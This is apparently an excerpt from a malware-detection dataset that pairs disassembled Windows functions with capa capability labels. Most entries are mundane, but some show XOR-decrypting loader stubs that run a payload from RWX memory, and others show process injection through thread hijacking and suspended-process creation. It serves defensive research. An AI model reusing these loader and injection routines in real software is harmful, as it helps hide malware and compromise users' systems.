joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009dfa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
mov word [ebp - 8], 0x79
push eax
mov edi, edx
mov word [ebp - 0x13], 0x6c74
mov ebx, ecx
mov word [ebp - 0xe], 0x4d6f
mov word [ebp - 0xb], 0x6f6d
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 9], 0x72
mov word [ebp - 0x10], 0x7265
mov byte [ebp - 0x11], 0x5a
mov byte [ebp - 0xc], 0x65
call fcn.1000919b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10009e61
push edi
push ebx
mov ecx, esi
call dword [0x1001b150]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b397
leave
ret

Function at 0x10009e70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
mov word [ebp - 0x10], 0x536c
push esi
push eax
mov dword [ebp - 0x15], 0x63697469
mov dword [ebp - 0xd], 0x6f697463
mov dword [ebp - 0x1a], 0x43726574
mov word [ebp - 9], 0x6e
mov byte [ebp - 0xe], 0x65
mov word [ebp - 0x1c], 0x6e45
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x16], 0x72
call fcn.1000919b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10009ed9
push 0x10049c34
mov ecx, esi
call dword [0x1001b150]
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000b397
leave
ret

Function at 0x10009fe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
call fcn.10009223
test eax, eax
je 0x1000a028
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x13], 0x69577465
push ecx
push eax
mov dword [ebp - 0xc], 0x736f5077
mov word [ebp - 0xf], 0x646e
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 8], bl
mov byte [ebp - 0xd], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1000b397
leave
ret

Function at 0x1000a037
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
call fcn.10009223
test eax, eax
je 0x1000a090
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x15], 0x65726f46
push ecx
push eax
mov dword [ebp - 9], 0x776f646e
mov dword [ebp - 0xe], 0x57646e75
mov word [ebp - 0x18], 0x6553
mov word [ebp - 0x11], 0x7267
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 5], bl
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 0xf], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1000b397
leave
ret
Function at 0x1000a09f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
call fcn.10009223
test eax, eax
je 0x1000a0ea
lea ecx, [ebp - 0x14]
mov dword [ebp - 9], 0x776f646e
push ecx
push eax
mov dword [ebp - 0xf], 0x65766974
mov dword [ebp - 0x14], 0x41746553
mov word [ebp - 0xb], 0x6957
mov byte [ebp - 5], bl
mov byte [ebp - 0x10], 0x63
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1000b397
leave
ret

Function at 0x1000a0f9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
call fcn.10009223
test eax, eax
je 0x1000a147
lea ecx, [ebp - 0x18]
mov word [ebp - 0x13], 0x6957
push ecx
push eax
mov dword [ebp - 0x18], 0x6e697242
mov dword [ebp - 0x11], 0x776f646e
mov dword [ebp - 0xb], 0x706f54
mov byte [ebp - 0x14], 0x67
mov word [ebp - 0xd], 0x6f54
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1000b397
leave
ret

Function at 0x1000a156
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x10024004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x104
lea eax, [ebp - 0x118]
push edi
mov esi, ecx
push 0
mov dword [ebp - 0x11c], esi
push eax
mov dword [ebp - 0x11c], esi
call fcn.1000c210
add esp, 0xc
mov dword [ebp - 9], 0x73255c45
lea ecx, [ebp - 0x134]
mov dword [ebp - 0xe], 0x41575446
mov word [ebp - 0x10], 0x4f53
mov byte [ebp - 5], 0
mov byte [ebp - 0xa], 0x52
call fcn.10009f93
mov ecx, eax
call fcn.1000a815
push eax
lea eax, [ebp - 0x10]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x118]
push edi
push eax
call fcn.10009f12
add esp, 0x14
lea ecx, [ebp - 0x134]
call fcn.1000a821
lea eax, [ebp - 0x118]
mov ecx, esi
push eax
call fcn.1000a826
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1000b397
leave
ret
Function at 0x1000a706
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
mov eax, dword [0x10024004]
xor eax, esp
mov dword [esp + 0x11c], eax
cmp dword [ebp + 0xc], 1
jne 0x1000a7bb
push ecx
lea edx, [esp + 0x14]
call fcn.100095a7
pop ecx
lea eax, [esp]
mov dword [esp + 6], 0x75732074
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 0x74726f
push eax
mov dword [esp + 9], 0x6174736e
mov word [esp + 0x12], 0x7070
mov byte [esp + 8], 0x69
mov byte [esp + 0xd], 0x6e
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1000a7e9
mov edx, sym.gphelper.dll_fq69sv
mov ecx, 0x10049b14
call fcn.1000b118
test eax, eax
je 0x1000a7e9
mov edx, sym.gphelper.dll_cfsaij
mov ecx, 0x10049ae0
call fcn.1000b118
test eax, eax
je 0x1000a7e9
mov edx, sym.gphelper.dll_ocjkle
mov ecx, 0x10049afc
call fcn.1000b118
test eax, eax
je 0x1000a7e9
mov edx, sym.gphelper.dll_s0tzl1
mov ecx, 0x10049af8
call fcn.1000b118
jmp 0x1000a7e9
cmp dword [ebp + 0xc], 0
jne 0x1000a7e9
mov ecx, 0x10049b14
call fcn.1000b2da
mov ecx, 0x10049ae0
call fcn.1000b2da
mov ecx, 0x10049afc
call fcn.1000b2da
mov ecx, 0x10049af8
call fcn.1000b2da
mov ecx, dword [esp + 0x11c]
xor eax, eax
xor ecx, esp
inc eax
call fcn.1000b397
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001824
Capabilities:
Check mutex on windows

Disassembly:
mov edi, edi
push esi
push 0x1001180
push 1
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0xb7
neg eax
sbb eax, eax
inc eax
pop esi
ret

Function at 0x100194a
Capabilities:
Create process on windows

Disassembly:
push 5
xor eax, eax
push eax
push eax
push 0x1001198
push eax
push dword [ecx + 0x3cc]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret

Function at 0x10024e4
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4ac
push ebx
push esi
push edi
mov eax, dword [0x100401c]
push 0xe
pop ecx
mov esi, 0x1001220
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 4], eax
xor eax, eax
xor ebx, ebx
mov esi, 0x81
mov word [ebp - 0x248], bx
mov ecx, esi
lea edi, [ebp - 0x246]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov dword [ebp - 0x468], ebx
lea edi, [ebp - 0x464]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
pop ecx
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x4a8]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x248]
push eax
push ebx
push ebx
push 0x25
push ebx
mov dword [ebp - 0x4ac], 0x44
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x1002607
cmp byte [ebp + 8], bl
mov edx, 0x1001214
jne 0x1002576
mov edx, 0x10011f4
xor eax, eax
mov word [ebp - 0x450], bx
mov ecx, esi
lea edi, [ebp - 0x44e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x248]
mov dword [ebp - 0x458], eax
lea eax, [ebp - 0x458]
push eax
push 0x104
lea eax, [ebp - 0x450]
push eax
push ebx
push ebx
lea eax, [ebp - 0x40]
push eax
push 0x2400
mov dword [ebp - 0x454], edx
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
test eax, eax
je 0x1002607
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0x4ac]
push eax
lea eax, [ebp - 0x248]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x450]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1002607
push dword [ebp - 0x464]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x468]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
jmp section..htext
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000983f
pop dword [ebp - 8]
mov eax, 0x805e77d0
sub eax, 0x705ddf91
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x33d57
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x11e3f6a3
sub ecx, 0x11e3c34f
xor ebx, ebx
add ebx, eax
mov edi, 0x5ed238de
add edi, 0xb12f4d22
add edi, dword [ebp - 8]
mov edx, 0x9a502e80
add edx, 0x92d95e0a
xor dword [ebp - 4], 0x72c4f942
mov esi, dword [edi]
xor esi, edx
sub dword [ebp - 4], edx
mov dword [ebx], esi
add dword [ebp - 4], edx
add ebx, 0xa482fa24
sub ebx, 0xa482fa20
add edi, 0xc18fdea8
add edi, 0x3e70215c
loop 0x1000989b
add eax, 0x3ddfb41
add eax, 0xfc22c4e2
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4380a4
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x4380c0
cmp dword [esi + 4], 0
je 0x4380ed
test byte [ebx + 0x45], 1
jne 0x4380df
mov eax, ebx
call fcn.00437114
test eax, eax
jne 0x4380df
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4381fd
mov edx, esi
mov eax, ebx
call fcn.00437d1c
jmp 0x4381fd
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4381f6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043a014
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00435268
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.004380a4
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043a014
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4381fd
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x403203
pop dword [ebp - 0x18]
mov eax, 0xf1186037
sub eax, 0xf0d82e34
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xc91c4821
add dword [ebp - 0x28], 0x8535fd2a
mov dword [ebp - 0x24], 0x4ebbcb08
sub dword [ebp - 0x24], 0x1c887ec3
mov dword [ebp - 0x20], 0x3c9b707a
add dword [ebp - 0x20], 0xfb0d3b4
mov dword [ebp - 0x1c], 0x85770b3b
add dword [ebp - 0x1c], 0x7a88f4c5
lea eax, [ebp - 0x28]
push eax
mov eax, 0x89bf542
add eax, 0xf7a48b4a
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x85085161
add dword [ebp - 0x28], 0xef6a17f5
mov dword [ebp - 0x24], 0x43d457dd
sub dword [ebp - 0x24], 0x267f668
mov dword [ebp - 0x20], 0x4b8bbe3a
add dword [ebp - 0x20], 0x17e3ae32
mov dword [ebp - 0x1c], 0xd65d396c
sub dword [ebp - 0x1c], 0xd65d396c
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3ace5
push 0
call eax
mov ecx, 0x7f004c63
sub ecx, 0x7efff38a
xor esi, esi
add esi, eax
mov edi, 0x411000
add edi, dword [ebp - 0x18]
mov edx, 0xc3198af7
add edx, 0x8ee0ac82
xor dword [ebp - 8], 0x6f1f31f8
mov ebx, dword [edi]
add ebx, edx
mov dword [ebp - 0xc], 0xfeb7f429
mov dword [esi], ebx
sub dword [ebp - 0x10], ebx
add esi, 4
add edi, 0x92c15c67
sub edi, 0x92c15c63
loop 0x40331c
add eax, 0x15637
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x1bca89a1
sub ecx, 0x1b8a89a1
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
push esi
push 0x2cc
xor esi, esi
lea eax, [ebp - 0x2d4]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_memset]
add esp, 0xc
push dword [ebp + 0xc]
mov dword [ebp - 0x2d4], 0x10007
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x401041
xor eax, eax
jmp 0x401143
lea eax, [ebp - 0x2d4]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40103a
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, esi
je 0x40103a
push str.LoadLibraryW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x40103a
push ebx
push edi
mov ebx, str.idash.dat
push ebx
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
lea edi, [eax + eax + 2]
push ebx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40112a
push 0x40
push 0x3000
add edi, 0x1c
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, esi
je 0x40112a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 4
lea eax, [ebp - 0x21c]
push eax
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x40112a
push 0
push 4
lea eax, [ebp - 8]
push eax
add edi, 4
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x40112a
push 0
push dword [ebp - 4]
add edi, 4
push ebx
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x40112a
add edi, dword [ebp - 4]
push 0
push 0x1c
push section..data
push edi
push dword [ebp + 8]
mov dword [ebp - 0x21c], edi
call esi
test eax, eax
je 0x40112a
lea eax, [ebp - 0x2d4]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x40112e
xor eax, eax
jmp 0x401141
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401146
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
mov edi, dword [sym.imp.MSVCR100.dll_memset]
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call edi
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push esi
push str.dash.dat
mov dword [ebp - 0x54], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4011d9
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call section..text
pop ecx
pop ecx
test eax, eax
jne 0x4011c0
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x10
mov eax, str.ERROR
push eax
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x4011e6
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x10]
call edi
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
inc eax
pop edi
pop esi
leave
ret 0x10
Function at 0x6e002644
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x6e04b032
call fcn.6e049338
mov esi, ecx
mov dword [ebp - 0x10], esi
xor ebx, ebx
mov dword [esi + 0xfc], ebx
call fcn.6e04250a
mov dword [ebp - 4], ebx
mov dword [esi + 0x74], ebx
mov dword [esi + 0x70], ebx
mov dword [esi + 0x6c], vtable.CProxy_IAcroAXDocShimEvents_class_CAcroAXDocShim_.0
lea ecx, [esi + 0xc8]
call fcn.6e002b0e
mov dword [esi + 0xf8], ebx
mov dword [esi + 0x100], ebx
mov dword [esi + 0x104], ebx
lea ecx, [esi + 0x108]
mov byte [ebp - 4], 3
call fcn.6e04250a
lea ecx, [esi + 0x110]
mov byte [ebp - 4], 4
call fcn.6e04250a
lea ecx, [esi + 0x118]
mov byte [ebp - 4], 5
call fcn.6e04250a
mov dword [esi + 0x120], ebx
mov dword [esi + 0x124], ebx
lea ecx, [esi + 0x128]
mov byte [ebp - 4], 8
call fcn.6e04250a
lea ecx, [esi + 0x130]
mov byte [ebp - 4], 9
call fcn.6e04250a
mov dword [esi + 0x138], ebx
mov dword [esi + 0x174], ebx
mov dword [esi + 0x19c], ebx
mov dword [esi + 0x1a0], 0xf
mov byte [esi + 0x18c], bl
mov dword [esi + 0x2b8], ebx
mov dword [esi + 0x310], ebx
mov dword [esi + 0x314], ebx
mov dword [esi + 0x318], ebx
mov word [esi + 0x31e], bx
mov dword [esi + 0x2cf], ebx
mov byte [esi + 0x2d3], bl
mov byte [ebp - 4], 0x10
cmp byte [0x6e07047b], bl
jne 0x6e002747
cmp byte [0x6e07047a], bl
je 0x6e00277b
push esi
push 0x6e051a0c
mov edi, 0x6e06ea68
push edi
call fcn.6e04250a
add esp, 0xc
cmp byte [0x6e07047a], 0
je 0x6e00276b
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x6e07047b], 0
je 0x6e00277b
push edi
call fcn.6e003fc0
pop ecx
or dword [esi + 0x44], 0x40
xor eax, eax
inc eax
mov dword [esi + 0x2c0], ebx
push eax
mov ecx, esi
mov word [esi + 0x31c], bx
mov dword [esi + 0x2c8], eax
mov word [esi + 0x2ab], bx
mov word [esi + 0x2ea], bx
mov dword [esi + 0x2b0], ebx
mov dword [esi + 0x178], ebx
mov dword [esi + 0x17c], ebx
mov dword [esi + 0x320], ebx
mov dword [esi + 0x324], ebx
mov dword [esi + 0x2ec], ebx
mov byte [esi + 0x2f5], bl
mov dword [esi + 0x2f8], ebx
mov byte [esi + 0x2fc], al
call fcn.6e00ea22
mov eax, esi
call fcn.6e049301
ret

Function at 0x6e0040b5
Capabilities:
Print debug messages

Disassembly:
push 8
mov eax, 0x6e04b27c
call fcn.6e0493a3
mov dword [ebp - 0x14], ecx
cmp byte [0x6e07047b], 0
jne 0x6e0040d6
cmp byte [0x6e07047a], 0
je 0x6e00410b
push str._AcroAXDocShim__CAcroAXDocShim::AddRangesToRangeTree
mov esi, 0x6e06ea68
push esi
call fcn.6e04250a
cmp byte [0x6e07047a], 0
pop ecx
pop ecx
je 0x6e0040f8
push esi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x6e07047b], 0
je 0x6e004108
push esi
call fcn.6e003fc0
pop ecx
mov ecx, dword [ebp - 0x14]
mov ebx, dword [ebp + 0xc]
xor esi, esi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], esi
mov eax, ebx
dec ebx
test eax, eax
je 0x6e004145
push dword [edi + 4]
mov ecx, dword [ecx + 0x2b8]
push dword [edi]
call fcn.6e04250a
mov ecx, dword [ebp - 0x14]
add edi, 8
jmp 0x6e004116
test esi, esi
setne al
call fcn.6e049301
ret 8
Function at 0x6e0049f4
Capabilities:
Print debug messages

Disassembly:
cmp byte [0x6e07047b], 0
push esi
mov esi, ecx
jne 0x6e004a09
cmp byte [0x6e07047a], 0
je 0x6e004a3f
push edi
push esi
push str.CAcroAXDocShim__x_::CloseStream
mov edi, 0x6e06ea68
push edi
call fcn.6e04250a
add esp, 0xc
cmp byte [0x6e07047a], 0
je 0x6e004a2e
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x6e07047b], 0
je 0x6e004a3e
push edi
call fcn.6e003fc0
pop ecx
pop edi
cmp byte [esi + 0x170], 0
je 0x6e004a70
mov eax, dword [esi + 0x16c]
push 1
mov eax, dword [eax + 4]
mov eax, dword [eax]
push dword [eax + 4]
call fcn.6e04250a
pop ecx
pop ecx
test eax, eax
jne 0x6e004a69
mov byte [esi + 0x170], al
cmp byte [esi + 0x170], 0
sete al
pop esi
ret